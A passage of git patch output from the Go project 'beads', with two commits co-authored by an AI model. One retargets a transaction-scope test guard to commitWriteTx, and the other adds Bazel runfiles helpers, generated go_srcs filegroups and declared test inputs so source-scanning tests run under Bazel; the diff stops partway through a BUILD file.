fix(test): point tx-minting guard at commitWriteTx (#6833) #6719 moved BeginTx and the versioned-history scope out of withWriteTx into commitWriteTx, while #6675 added a guard that requires withWriteTx itself to call BeginTx. Both landed, leaving main red on TestTxMintingWrappersScopeVersionedHistory. Guard the function that now opens and scopes the transaction (verified: dropping its version scope fails the test again). Co-authored-by: Claude Opus 5.5 (1M context) --- internal/storage/dolt/version_scope_completeness_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go index 4ddbc16e6..985492533 100644 --- a/internal/storage/dolt/version_scope_completeness_test.go +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -147,7 +147,7 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { // this second arm exists rather than being folded into the first. var txMintingWrappers = []string{ "DoltStore.runDoltTransaction", - "DoltStore.withWriteTx", + "DoltStore.commitWriteTx", } // TestTxMintingWrappersScopeVersionedHistory covers the half From f66375459f7e934ad934fb4698eea1a1278415a9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 08:24:08 -0700 Subject: [PATCH 154/624] test(bazel): runfiles helpers + declared inputs for scan-guard tests (#6828) * test(bazel): add internal/testutil/bazeltest runfiles helpers Repository-path resolution for tests that works identically under plain go test (package cwd, full checkout), bazel test locally, and remote execution (declared runfiles only): - IsBazel, RepoRoot (BEADS_TEST_REPO_ROOT, then the runfiles workspace root, then a go.mod walk), OverrideRoot (drop-in condition for existing helpers; empty under plain go test), CallerDir - Runfile for $(rlocationpath) values, GOROOT for type-checking tests - ShardFreeEnv for helpers that re-exec a test binary Every helper reduces to the pre-Bazel behavior under go test. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): declare source/data reads for 14 scan-guard targets Source-scanning and repo-file tests read files their Bazel targets never declared, so they failed under `bazel test` (and could not run on remote workers at all). Declare narrow inputs as `data` and resolve paths through bazeltest where the test located the tree via runtime.Caller: - tools/bazel/go_srcs.py (run by `make bazel-sync` after gazelle) keeps a managed `go_srcs` filegroup in the packages whose Go source tests scan, plus `//internal/storage:tree_go_srcs` for the storage-tree walk. Bazel globs stop at package boundaries, so the aggregate needs one filegroup per package; the script keeps it in sync and gazelle-stable. - Hand-written narrow inputs: //internal/storage/schema:migrations, //:docsync_files, //plugins/beads:plugin_files, and exports of .gitattributes, .claude-plugin/marketplace.json, cmd/bd list.go and ready.go, testutil/testdoltcommon.go, scripts README.md and the release catalog, each visible only to its consumer. - runtime.Caller-based roots in backend, backend/conformance, internal/storage, internal/formula and test/docsync now go through bazeltest.CallerDir / OverrideRoot; relative-path tests need data only. - integrations/ leaves .bazelignore (it is still gazelle-excluded) so the docsync link check can declare integrations/beads-mcp/PYPI.md. Under --config=prcore every target reports the same PASS/SKIP/FAIL test set as `go test -race -short` for its package, locally and remotely. Plain `go test` behavior is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): guard generated go_srcs and harden bazeltest root override - tools/bazel/go_srcs.py: add --check (print diff, exit 1 on stale blocks); new `make bazel-sync-check` target runs it. - scripts/bazel_policy_test.go: under go test, assert every tree_go_srcs (//internal/storage) lists exactly the BUILD.bazel packages below its root, run go_srcs.py --check, and forbid BUILD files under docs/ and engdocs/ (they would cut subtrees out of //:docsync_files). - bazeltest: honor BEADS_TEST_REPO_ROOT only when it holds go.mod (RepoRoot fails loudly otherwise); drop the unused GOROOT() helper, whose compiled-in branch could never fire under rules_go. - scripts/ci/lib/test-env.sh: unset BEADS_TEST_REPO_ROOT. - Document the hand-listed out-of-tree link targets in //:docsync_files. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): re-sync BUILD files with main Regenerated with make bazel-sync after commits that landed while the scaffold PR was in CI (new internal/execenv, gitenv, gitignore packages and new sources/deps). Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): declare init_safety_help.go for docsync TestInitSafetyCLIHelpCoversReCloneGotchas (#6431) reads cmd/bd/init_safety_help.go; export it to //test/docsync only. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 1 - BUILD.bazel | 35 ++++ Makefile | 14 +- backend/BUILD.bazel | 15 ++ backend/completeness_test.go | 4 +- backend/conformance/BUILD.bazel | 22 +++ backend/conformance/role_bundle_test.go | 5 +- .../conformance/role_coverage_scan_test.go | 4 + beadserrors/BUILD.bazel | 13 ++ cmd/bd/BUILD.bazel | 32 ++++ cmd/bd/doctor/BUILD.bazel | 1 + cmd/bd/setup/BUILD.bazel | 4 + internal/config/BUILD.bazel | 3 + internal/execenv/BUILD.bazel | 14 ++ internal/formula/BUILD.bazel | 5 + internal/formula/schema_gen_test.go | 3 +- internal/gitenv/BUILD.bazel | 15 ++ internal/githooksenv/BUILD.bazel | 1 + internal/gitignore/BUILD.bazel | 14 ++ internal/gittraceenv/BUILD.bazel | 1 + internal/httpapi/BUILD.bazel | 6 + internal/metrics/BUILD.bazel | 1 + internal/storage/BUILD.bazel | 57 ++++++ internal/storage/backendnames/BUILD.bazel | 13 ++ internal/storage/backends/BUILD.bazel | 13 ++ internal/storage/contextinfo/BUILD.bazel | 13 ++ internal/storage/dberrors/BUILD.bazel | 13 ++ internal/storage/dbproxy/identity/BUILD.bazel | 13 ++ internal/storage/dbproxy/pidfile/BUILD.bazel | 13 ++ internal/storage/dbproxy/proxy/BUILD.bazel | 13 ++ internal/storage/dbproxy/server/BUILD.bazel | 13 ++ internal/storage/dbproxy/util/BUILD.bazel | 13 ++ internal/storage/depid/BUILD.bazel | 13 ++ internal/storage/dolt/BUILD.bazel | 16 ++ internal/storage/doltutil/BUILD.bazel | 13 ++ internal/storage/domain/BUILD.bazel | 13 ++ internal/storage/domain/db/BUILD.bazel | 14 ++ internal/storage/domain/fs/BUILD.bazel | 14 ++ internal/storage/domain/git/BUILD.bazel | 13 ++ internal/storage/embeddeddolt/BUILD.bazel | 14 ++ internal/storage/embeddeddolt/cmd/BUILD.bazel | 13 ++ internal/storage/externaldeps/BUILD.bazel | 13 ++ internal/storage/fs/BUILD.bazel | 13 ++ internal/storage/git/BUILD.bazel | 13 ++ internal/storage/issueops/BUILD.bazel | 22 ++- internal/storage/journalscan/BUILD.bazel | 13 ++ internal/storage/kvkeys/BUILD.bazel | 13 ++ internal/storage/leg_contract_wiring_test.go | 5 + internal/storage/memoryops/BUILD.bazel | 13 ++ internal/storage/rowid/BUILD.bazel | 13 ++ internal/storage/schema/BUILD.bazel | 24 +++ internal/storage/sqlbuild/BUILD.bazel | 17 ++ internal/storage/storagecontract/BUILD.bazel | 13 ++ internal/storage/uow/BUILD.bazel | 16 ++ .../storage/versioncontrolops/BUILD.bazel | 13 ++ internal/testutil/BUILD.bazel | 6 + internal/testutil/bazeltest/BUILD.bazel | 15 ++ internal/testutil/bazeltest/bazeltest.go | 174 ++++++++++++++++++ internal/testutil/bazeltest/bazeltest_test.go | 119 ++++++++++++ .../testutil/bazeltest/testdata/probe.txt | 1 + internal/types/BUILD.bazel | 13 ++ internal/workapi/BUILD.bazel | 2 + issueops/BUILD.bazel | 13 ++ journalops/BUILD.bazel | 13 ++ memoryops/BUILD.bazel | 13 ++ plugins/beads/BUILD.bazel | 13 ++ scripts/BUILD.bazel | 10 + scripts/bazel_policy_test.go | 167 +++++++++++++++++ scripts/ci/lib/test-env.sh | 3 + scripts/gitattributespolicy/BUILD.bazel | 1 + scripts/migration-test/catalog/BUILD.bazel | 1 + scripts/repro-dolt-prod-timeouts/BUILD.bazel | 2 + test/docsync/BUILD.bazel | 7 + test/docsync/docsync_test.go | 5 + tools/bazel/go_srcs.py | 168 +++++++++++++++++ 75 files changed, 1448 insertions(+), 9 deletions(-) create mode 100644 internal/execenv/BUILD.bazel create mode 100644 internal/gitenv/BUILD.bazel create mode 100644 internal/gitignore/BUILD.bazel create mode 100644 internal/testutil/bazeltest/BUILD.bazel create mode 100644 internal/testutil/bazeltest/bazeltest.go create mode 100644 internal/testutil/bazeltest/bazeltest_test.go create mode 100644 internal/testutil/bazeltest/testdata/probe.txt create mode 100755 tools/bazel/go_srcs.py diff --git a/.bazelignore b/.bazelignore index 9ab1ce255..541477a1d 100644 --- a/.bazelignore +++ b/.bazelignore @@ -1,6 +1,5 @@ examples/library-usage examples/bd-example-extension-go -integrations npm-package website node_modules diff --git a/BUILD.bazel b/BUILD.bazel index deb4928ae..b753a44b3 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -3,6 +3,9 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") # gazelle:prefix github.com/steveyegge/beads # gazelle:build_tags gms_pure_go +# integrations/ holds no Go; it stays visible to Bazel (not in .bazelignore) +# only so //test/docsync can declare the markdown its link checks resolve. +# gazelle:exclude integrations gazelle(name = "gazelle") exports_files([ @@ -10,6 +13,38 @@ exports_files([ "go.sum", ]) +# Repository files read by source-scanning tests, declared as their `data` so +# the tests run under `bazel test` and remote execution. +exports_files( + [".gitattributes"], + visibility = ["//scripts/gitattributespolicy:__pkg__"], +) + +exports_files( + [".claude-plugin/marketplace.json"], + visibility = ["//cmd/bd/setup:__pkg__"], +) + +# //test/docsync: the Mintlify site, engdocs, root markdown, and the files +# outside those trees that their local links point at. +# +# The out-of-tree link targets are hand-listed: a new docs/engdocs link to a +# file outside these globs passes `go test` but fails under Bazel until the +# target is added here. The globs stop at package boundaries, so no BUILD file +# may live under docs/ or engdocs/ (enforced by scripts/bazel_policy_test.go). +filegroup( + name = "docsync_files", + srcs = glob([ + "*.md", + "docs/**", + "engdocs/**", + ]) + [ + "integrations/beads-mcp/PYPI.md", + "//scripts:README.md", + ], + visibility = ["//test/docsync:__pkg__"], +) + # Inputs of the Bazel policy tests in //scripts (bazel_policy_test.go), so they # run under `bazel test` as well as `go test`. filegroup( diff --git a/Makefile b/Makefile index c70c10c0c..5a2fa6149 100644 --- a/Makefile +++ b/Makefile @@ -46,7 +46,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check -.PHONY: bazel-sync +.PHONY: bazel-sync bazel-sync-check # Default target all: build @@ -411,12 +411,21 @@ docs-dev: # Bazel (side-by-side with the Go toolchain; `go build`/`go test` do not need # it). Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel -# use_repo list + MODULE.bazel.lock. Run after changing Go imports or go.mod. +# use_repo list + MODULE.bazel.lock, then refresh the go_srcs filegroups that +# source-scanning tests declare as data (tools/bazel/go_srcs.py). Run after +# changing Go imports, go.mod, or packages. BAZEL ?= bazel bazel-sync: $(BAZEL) run //:gazelle + python3 tools/bazel/go_srcs.py $(BAZEL) mod tidy +# Fail (printing a diff) when a go_srcs block that tools/bazel/go_srcs.py +# manages is stale, e.g. after gazelle added a package under a scanned tree. +# Needs no Bazel; scripts/bazel_policy_test.go runs the same check. +bazel-sync-check: + python3 tools/bazel/go_srcs.py --check + # Ensure -short is not used as an implicit CI tier boundary. check-testing-short: @./scripts/check-testing-short.sh @@ -466,6 +475,7 @@ help: @echo " make api-gen - Regenerate HTTP API types from the OpenAPI spec" @echo " make api-check - OpenAPI drift gate (regenerate, diff-or-fail, spec tests)" @echo " make bazel-sync - Regenerate Bazel BUILD files and tidy MODULE.bazel (gazelle + mod tidy)" + @echo " make bazel-sync-check - Fail if generated go_srcs Bazel filegroups are stale" @echo " make clean - Remove build artifacts and profile files" @echo " make clean-test-tmp - Sweep orphaned cmd/bd test temp dirs from \$$TMPDIR" @echo " make help - Show this help message" diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel index 210fd61ae..0f7dac0be 100644 --- a/backend/BUILD.bazel +++ b/backend/BUILD.bazel @@ -22,9 +22,24 @@ go_test( "completeness_test.go", "errors_test.go", ], + data = [":go_srcs"], deps = [ ":backend", "//backend/conformance", "//internal/storage", + "//internal/testutil/bazeltest", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/backend/completeness_test.go b/backend/completeness_test.go index 1ce656d59..82ab9b43d 100644 --- a/backend/completeness_test.go +++ b/backend/completeness_test.go @@ -5,7 +5,6 @@ import ( "go/parser" "go/token" "io/fs" - "path/filepath" "reflect" "runtime" "sort" @@ -14,6 +13,7 @@ import ( "github.com/steveyegge/beads/backend" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) const internalPrefix = "github.com/steveyegge/beads/internal/" @@ -77,7 +77,7 @@ func publicAliases(t *testing.T) map[string]bool { if !ok { t.Fatal("runtime.Caller failed") } - dir := filepath.Dir(thisFile) + dir := bazeltest.CallerDir(thisFile, "backend") fset := token.NewFileSet() pkgs, err := parser.ParseDir(fset, dir, func(fi fs.FileInfo) bool { return !strings.HasSuffix(fi.Name(), "_test.go") diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index d2dcfa9d6..89773dfbd 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -80,11 +80,33 @@ go_test( "role_coverage_scan_test.go", "versioned_history_wiring_test.go", ], + data = [ + ":go_srcs", + "//beadserrors:go_srcs", + "//internal/types:go_srcs", + "//issueops:go_srcs", + "//journalops:go_srcs", + "//memoryops:go_srcs", + ], embed = [":conformance"], deps = [ "//internal/storage", + "//internal/testutil/bazeltest", "//issueops", "//journalops", "//memoryops", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/backend/conformance/role_bundle_test.go b/backend/conformance/role_bundle_test.go index 2ca2fa002..7ef8ca9df 100644 --- a/backend/conformance/role_bundle_test.go +++ b/backend/conformance/role_bundle_test.go @@ -9,12 +9,13 @@ import ( "io/fs" "os" "os/exec" - "path/filepath" "reflect" "runtime" "sort" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // TestRoleContractCasesCoverEveryContractCase is the drift guard on the role @@ -333,7 +334,7 @@ func parseRoleContractCases(t *testing.T) []string { t.Fatal("runtime.Caller failed") } fset := token.NewFileSet() - pkgs, err := parser.ParseDir(fset, filepath.Dir(thisFile), func(fi fs.FileInfo) bool { + pkgs, err := parser.ParseDir(fset, bazeltest.CallerDir(thisFile, "backend/conformance"), func(fi fs.FileInfo) bool { return !strings.HasSuffix(fi.Name(), "_test.go") }, 0) if err != nil { diff --git a/backend/conformance/role_coverage_scan_test.go b/backend/conformance/role_coverage_scan_test.go index 341075f79..cf361082b 100644 --- a/backend/conformance/role_coverage_scan_test.go +++ b/backend/conformance/role_coverage_scan_test.go @@ -16,6 +16,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/testutil/bazeltest" "github.com/steveyegge/beads/issueops" "github.com/steveyegge/beads/journalops" "github.com/steveyegge/beads/memoryops" @@ -59,6 +60,9 @@ var errorType = reflect.TypeOf((*error)(nil)).Elem() // repoRoot locates the module root from this file's own path, so the gate // finds the facade packages without depending on the working directory. func repoRoot() (string, error) { + if root := bazeltest.OverrideRoot(); root != "" { + return root, nil + } _, thisFile, _, ok := runtime.Caller(0) if !ok { return "", errors.New("runtime.Caller failed") diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel index 0198fb8e4..5285eb578 100644 --- a/beadserrors/BUILD.bazel +++ b/beadserrors/BUILD.bazel @@ -6,3 +6,16 @@ go_library( importpath = "github.com/steveyegge/beads/beadserrors", visibility = ["//visibility:public"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index cdffb53d5..7fb04f0c7 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -35,6 +35,7 @@ go_library( "compact.go", "compact_dolt.go", "compact_dolt_proxied_server.go", + "compact_plan.go", "compact_proxied_server.go", "completions.go", "config.go", @@ -88,6 +89,7 @@ go_library( "dolt_autopush.go", "dolt_clean_databases.go", "dolt_clean_databases_proxied_server.go", + "dolt_commit_proxied_server.go", "dolt_local_only.go", "dolt_proxied_lifecycle.go", "dolt_remote_adopt.go", @@ -356,10 +358,13 @@ go_library( "//internal/doltserver", "//internal/doltversion", "//internal/eventsjournal", + "//internal/execenv", "//internal/formula", "//internal/git", + "//internal/gitenv", "//internal/githooksenv", "//internal/github", + "//internal/gitignore", "//internal/gitlab", "//internal/hooks", "//internal/httpapi", @@ -493,6 +498,7 @@ go_test( "children_test.go", "claim_pools_embedded_test.go", "close_embedded_test.go", + "close_failure_report_test.go", "close_gate_test.go", "close_last_touched_test.go", "close_proxied_integration_test.go", @@ -507,6 +513,7 @@ go_test( "comments_test.go", "compact_embedded_test.go", "compact_gc_flag_test.go", + "compact_plan_test.go", "compact_test.go", "compact_tier2_embedded_test.go", "completions_test.go", @@ -579,6 +586,7 @@ go_test( "delete_input_test.go", "delete_proxied_integration_test.go", "delete_proxied_server_output_test.go", + "dep_add_target_test.go", "dep_batch_test.go", "dep_bulk_role_test.go", "dep_cycles_test.go", @@ -609,12 +617,15 @@ go_test( "doctor_repair_test.go", "doctor_test.go", "doctor_validate_test.go", + "dolt_autocommit_exemption_wiring_test.go", "dolt_autocommit_server_test.go", "dolt_autocommit_test.go", "dolt_autopush_test.go", "dolt_clean_databases_purge_proxied_integration_test.go", "dolt_clean_databases_purge_test.go", "dolt_clean_databases_quote_test.go", + "dolt_commit_proxied_integration_test.go", + "dolt_commit_proxied_server_test.go", "dolt_embedded_test.go", "dolt_help_auth_test.go", "dolt_lifecycle_proxied_server_test.go", @@ -771,6 +782,8 @@ go_test( "linear_test.go", "lint_embedded_test.go", "lint_stale_proxied_integration_test.go", + "list_comments_embedded_test.go", + "list_comments_proxied_integration_test.go", "list_embedded_test.go", "list_footer_counts_test.go", "list_format_json_test.go", @@ -783,6 +796,7 @@ go_test( "list_roles_test.go", "list_skip_labels_test.go", "list_test.go", + "list_tree_cycle_test.go", "list_tree_deps_test.go", "list_wisp_type_reachability_test.go", "lite_filter_spy_test.go", @@ -1093,8 +1107,11 @@ go_test( "//internal/doltremote", "//internal/doltserver", "//internal/eventsjournal", + "//internal/execenv", "//internal/formula", "//internal/git", + "//internal/gitenv", + "//internal/githooksenv", "//internal/hooks", "//internal/httpapi", "//internal/linear", @@ -1189,3 +1206,18 @@ go_test( "//conditions:default": [], }), ) + +# CLI flag registrations pinned by //internal/httpapi spec parity tests. +exports_files( + [ + "list.go", + "ready.go", + ], + visibility = ["//internal/httpapi:__pkg__"], +) + +# Init-safety help text pinned by //test/docsync recovery-doc tests. +exports_files( + ["init_safety_help.go"], + visibility = ["//test/docsync:__pkg__"], +) diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index 29f3ad144..8bae81016 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -62,6 +62,7 @@ go_library( "//internal/doltremote", "//internal/doltserver", "//internal/git", + "//internal/gitignore", "//internal/storage", "//internal/storage/dberrors", "//internal/storage/dolt", diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel index 9d195a79a..a7dc4ddbf 100644 --- a/cmd/bd/setup/BUILD.bazel +++ b/cmd/bd/setup/BUILD.bazel @@ -47,6 +47,10 @@ go_test( "plugin_layout_test.go", "utils_test.go", ], + data = [ + "//:.claude-plugin/marketplace.json", + "//plugins/beads:plugin_files", + ], embed = [":setup"], deps = [ "//internal/templates", diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index 4ac0fd486..1474e1f71 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -18,6 +18,7 @@ go_library( visibility = ["//:__subpackages__"], deps = [ "//internal/debug", + "//internal/gitenv", "@com_github_spf13_viper//:viper", "@in_gopkg_yaml_v3//:yaml_v3", ] + select({ @@ -36,6 +37,7 @@ go_test( srcs = [ "agents_file_test.go", "config_test.go", + "git_routing_test.go", "permissions_linux_test.go", "permissions_test.go", "repos_test.go", @@ -51,6 +53,7 @@ go_test( embed = [":config"], deps = [ "//internal/git", + "//internal/gitenv", "@com_github_spf13_viper//:viper", "@in_gopkg_yaml_v3//:yaml_v3", ] + select({ diff --git a/internal/execenv/BUILD.bazel b/internal/execenv/BUILD.bazel new file mode 100644 index 000000000..a94724f43 --- /dev/null +++ b/internal/execenv/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "execenv", + srcs = ["execenv.go"], + importpath = "github.com/steveyegge/beads/internal/execenv", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "execenv_test", + srcs = ["execenv_test.go"], + embed = [":execenv"], +) diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index e052a3e30..24e6ae87f 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -37,11 +37,16 @@ go_test( "schema_test.go", "stepcondition_test.go", ], + data = [ + "schema_gen.go", + "types.go", + ], embed = [":formula"], deps = [ "//internal/beads", "//internal/formula/schemagen", "//internal/git", "//internal/testutil", + "//internal/testutil/bazeltest", ], ) diff --git a/internal/formula/schema_gen_test.go b/internal/formula/schema_gen_test.go index 5b7b03756..dac5e0c5c 100644 --- a/internal/formula/schema_gen_test.go +++ b/internal/formula/schema_gen_test.go @@ -7,6 +7,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/formula/schemagen" + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // TestSchemaGenIsCurrent re-runs the schemagen walker over types.go @@ -17,7 +18,7 @@ func TestSchemaGenIsCurrent(t *testing.T) { if !ok { t.Fatal("runtime.Caller failed") } - pkgDir := filepath.Dir(thisFile) + pkgDir := bazeltest.CallerDir(thisFile, "internal/formula") typesPath := filepath.Join(pkgDir, "types.go") committedPath := filepath.Join(pkgDir, "schema_gen.go") diff --git a/internal/gitenv/BUILD.bazel b/internal/gitenv/BUILD.bazel new file mode 100644 index 000000000..d98f29048 --- /dev/null +++ b/internal/gitenv/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gitenv", + srcs = ["routing.go"], + importpath = "github.com/steveyegge/beads/internal/gitenv", + visibility = ["//:__subpackages__"], + deps = ["//internal/execenv"], +) + +go_test( + name = "gitenv_test", + srcs = ["routing_test.go"], + embed = [":gitenv"], +) diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel index 0b524a8fe..b9370947f 100644 --- a/internal/githooksenv/BUILD.bazel +++ b/internal/githooksenv/BUILD.bazel @@ -5,6 +5,7 @@ go_library( srcs = ["githooksenv.go"], importpath = "github.com/steveyegge/beads/internal/githooksenv", visibility = ["//:__subpackages__"], + deps = ["//internal/execenv"], ) go_test( diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel new file mode 100644 index 000000000..ca1273b4c --- /dev/null +++ b/internal/gitignore/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gitignore", + srcs = ["append.go"], + importpath = "github.com/steveyegge/beads/internal/gitignore", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "gitignore_test", + srcs = ["append_test.go"], + embed = [":gitignore"], +) diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel index 7592cb3ae..4514cb6a5 100644 --- a/internal/gittraceenv/BUILD.bazel +++ b/internal/gittraceenv/BUILD.bazel @@ -5,6 +5,7 @@ go_library( srcs = ["gittraceenv.go"], importpath = "github.com/steveyegge/beads/internal/gittraceenv", visibility = ["//:__subpackages__"], + deps = ["//internal/execenv"], ) go_test( diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 64944bfaa..ac3f37e93 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -81,6 +81,7 @@ go_test( "events_test.go", "events_watch_test.go", "get_issue_test.go", + "list_comments_omitted_test.go", "list_sort_test.go", "memories_test.go", "metadata_cas_test.go", @@ -102,6 +103,11 @@ go_test( "update_test.go", "wire_bijection_test.go", ], + data = [ + "claim.go", + "//cmd/bd:list.go", + "//cmd/bd:ready.go", + ], embed = [":httpapi"], deps = [ "//internal/config", diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index ace48feae..e7d9e14c1 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -14,6 +14,7 @@ go_library( visibility = ["//:__subpackages__"], deps = [ "//internal/config", + "//internal/execenv", "@com_github_dolthub_eventkit//:eventkit", "@com_github_dolthub_eventkit//transport/ga4", "@in_gopkg_yaml_v3//:yaml_v3", diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index b0cc3e99c..aea9eeb3d 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -100,12 +100,69 @@ go_test( "metadata_test.go", "role_accessor_decorator_test.go", ], + data = [ + ":tree_go_srcs", + "//backend/conformance:go_srcs", + ], embed = [":storage"], deps = [ "//internal/hooks", + "//internal/testutil/bazeltest", "//internal/types", "//issueops", "//journalops", "//memoryops", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "tree_go_srcs", + srcs = [ + ":go_srcs", + "//internal/storage/backendnames:go_srcs", + "//internal/storage/backends:go_srcs", + "//internal/storage/contextinfo:go_srcs", + "//internal/storage/dberrors:go_srcs", + "//internal/storage/dbproxy/identity:go_srcs", + "//internal/storage/dbproxy/pidfile:go_srcs", + "//internal/storage/dbproxy/proxy:go_srcs", + "//internal/storage/dbproxy/server:go_srcs", + "//internal/storage/dbproxy/util:go_srcs", + "//internal/storage/depid:go_srcs", + "//internal/storage/dolt:go_srcs", + "//internal/storage/doltutil:go_srcs", + "//internal/storage/domain:go_srcs", + "//internal/storage/domain/db:go_srcs", + "//internal/storage/domain/fs:go_srcs", + "//internal/storage/domain/git:go_srcs", + "//internal/storage/embeddeddolt:go_srcs", + "//internal/storage/embeddeddolt/cmd:go_srcs", + "//internal/storage/externaldeps:go_srcs", + "//internal/storage/fs:go_srcs", + "//internal/storage/git:go_srcs", + "//internal/storage/issueops:go_srcs", + "//internal/storage/journalscan:go_srcs", + "//internal/storage/kvkeys:go_srcs", + "//internal/storage/memoryops:go_srcs", + "//internal/storage/rowid:go_srcs", + "//internal/storage/schema:go_srcs", + "//internal/storage/sqlbuild:go_srcs", + "//internal/storage/storagecontract:go_srcs", + "//internal/storage/uow:go_srcs", + "//internal/storage/versioncontrolops:go_srcs", + ], + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel index 1ba5ad004..b41741b95 100644 --- a/internal/storage/backendnames/BUILD.bazel +++ b/internal/storage/backendnames/BUILD.bazel @@ -6,3 +6,16 @@ go_library( importpath = "github.com/steveyegge/beads/internal/storage/backendnames", visibility = ["//:__subpackages__"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel index 46c4a10df..b402d15d3 100644 --- a/internal/storage/backends/BUILD.bazel +++ b/internal/storage/backends/BUILD.bazel @@ -24,3 +24,16 @@ go_test( "//internal/storage", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel index 91e454b51..fa37a7535 100644 --- a/internal/storage/contextinfo/BUILD.bazel +++ b/internal/storage/contextinfo/BUILD.bazel @@ -16,3 +16,16 @@ go_test( srcs = ["provider_test.go"], embed = [":contextinfo"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel index 598858849..b29f0175a 100644 --- a/internal/storage/dberrors/BUILD.bazel +++ b/internal/storage/dberrors/BUILD.bazel @@ -20,3 +20,16 @@ go_test( embed = [":dberrors"], deps = 